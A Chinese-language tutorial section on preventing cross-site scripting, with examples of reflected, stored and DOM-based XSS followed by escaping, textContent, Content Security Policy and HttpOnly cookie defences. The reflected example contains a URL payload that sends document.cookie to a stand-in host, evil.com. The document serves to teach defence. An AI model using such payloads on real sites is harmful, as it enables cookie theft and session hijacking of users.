XSS 防护
跨站脚本攻击(Cross-Site Scripting, XSS)是最常见的 Web 安全漏洞之一。攻击者通过在页面中注入恶意脚本,窃取用户数据、劫持会话或篡改页面内容。本节将介绍三种 XSS 类型(反射型、存储型、DOM 型)的原理和防护方法,包括输出转义和 Content Security Policy 的使用。
前置知识
阅读本节前,建议先了解:Core Web Vitals
XSS 类型
反射型 XSS
反射型 XSS 的恶意脚本来自用户请求中的参数,服务器将参数直接插入到响应中。
html
<!-- 攻击示例 -->
<!-- 搜索功能将用户输入直接显示在页面上 -->
<!-- URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script> -->
<!-- 服务器端代码(不安全) -->
<div class="search-results">
<p>搜索 "<%= request.getParameter("q") %>" 的结果:</p>
</div>
<!-- 如果 q 参数包含脚本,会被执行 -->存储型 XSS
存储型 XSS 的恶意脚本被保存到服务器(如数据库),每次页面加载时都会执行。
html
<!-- 攻击场景:评论区 -->
<!-- 攻击者在评论中写入脚本 -->
<div class="comment">
<p><script>stealUserData()</script></p>
</div>
<!-- 每个访问该页面的用户都会执行这个脚本 -->DOM 型 XSS
DOM 型 XSS 的恶意脚本通过 JavaScript 动态修改 DOM 时注入。
javascript
// 不安全:直接使用用户输入修改 DOM
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
// 如果 userInput = <img src=x onerror="stealCookies()">
// 脚本会被执行
// 不安全:使用 document.write
document.write('<div>' + userInput + '</div>');防护方法
输出转义
对不同上下文使用不同的转义策略:
html
<!-- HTML 上下文:转义 HTML 特殊字符 -->
<!-- < → < > → > & → & " → " ' → ' -->
<!-- 安全输出 -->
<p>用户搜索: <script>alert(1)</script></p>
<!-- JavaScript 上下文:转义 JavaScript 特殊字符 -->
<script>
// 不安全
var name = "<%= request.getParameter("name") %>";
// 安全:JSON 编码
var name = JSON.parse('<%= JSON.stringify(request.getParameter("name")) %>');
</script>
<!-- URL 上下文:编码 URL -->
<a href="https://example.com/search?q=<%= URLEncoder.encode(query) %>">
搜索
</a>使用 textContent 替代 innerHTML
html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>XSS 防护示例</title>
</head>
<body>
<div id="output"></div>
<div id="safe-output"></div>
<script>
const userInput = '<img src=x onerror="alert(1)">';
// 不安全:innerHTML 会解析 HTML
document.getElementById('output').innerHTML = userInput;
// 脚本被执行!
// 安全:textContent 只插入纯文本
document.getElementById('safe-output').textContent = userInput;
// 显示:<img src=x onerror="alert(1)">(不会执行)
</script>
</body>
</html>Content Security Policy
html
<!-- 通过 meta 标签设置 CSP -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com data:;
font-src 'self' https://fonts.googleapis.com;
connect-src 'self' https://api.example.com;
frame-src 'self';
report-uri /csp-report;
">HTTP 头设置 CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; report-uri /csp-report使用安全的前端框架
现代前端框架(React、Vue、Angular)默认转义输出:
html
<!-- React 自动转义 -->
<!-- const userInput = '<script>alert(1)</script>'; -->
<div>{userInput}</div>
<!-- 输出: <script>alert(1)</script> -->
<!-- 如需渲染 HTML,使用 dangerouslySetInnerHTML(谨慎使用) -->
<div dangerouslySetInnerHTML={{ __html: sanitizedHTML }}></div>其他防护措施
html
<!-- HttpOnly Cookie:防止 JavaScript 访问 Cookie -->
<!-- 通过服务器响应头设置 -->
<!-- Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict -->
<!-- 设置 X-Content-Type-Options -->
<!-- 防止 MIME 类型嗅探 -->
<!-- X-Content-Type-Options: nosniff -->
<!-- 设置 X-XSS-Protection(已弃用,但仍有辅助作用) -->
<!-- X-XSS-Protection: 1; mode=block -->注意事项
- 不要信任用户输入:所有用户输入都必须验证和转义
- CSP 不是万能的:CSP 是纵深防御的一部分,不能替代输出转义
- innerHTML 是危险的:尽量使用 textContent
- 测试 XSS 漏洞:使用自动化工具扫描 XSS 漏洞
- HttpOnly Cookie:设置 HttpOnly 防止 JavaScript 访问
最佳实践
- 对所有用户输入进行验证和转义
- 使用 textContent 替代 innerHTML
- 配置 Content Security Policy
- 使用 HttpOnly + Secure Cookie
- 使用现代前端框架的默认转义功能
- 设置 X-Content-Type-Options: nosniff
- 定期进行安全审计和渗透测试
下一节
继续学习:CSP 内容安全策略